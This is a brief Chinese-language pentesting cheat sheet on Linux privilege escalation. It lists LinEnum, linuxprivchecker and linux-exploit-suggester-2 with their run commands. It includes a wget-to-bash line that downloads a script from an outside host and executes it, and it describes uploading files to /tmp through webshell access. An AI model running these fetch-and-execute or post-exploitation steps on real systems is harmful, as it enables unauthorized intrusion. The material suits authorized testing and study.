提权脚本
1.LinEnum
https://github.com/rebootuser/LinEnum 下载执行
wget -O - http://192.168.0.109/LinEnum.sh | bash
2.linuxprivchecker
https://github.com/sleventyeleven/linuxprivchecker python3版本
https://github.com/swarley7/linuxprivchecker
执行:
python3 linuxprivchecker.py
3.linux-exploit-suggester2
https://github.com/jondonas/linux-exploit-suggester-2
需要通过webshell权限或文件上传权限上传“linux-exploit-suggester-2.pl”到“tmp”文件夹下,还需要目标机器上有**perl(一种脚本语言) **
来到“tmp”目录下,执行文件
perl linux-exploit-suggester-2.pl
linux-exploit-suggester2会直接报告可能的漏洞和exp下载地址
|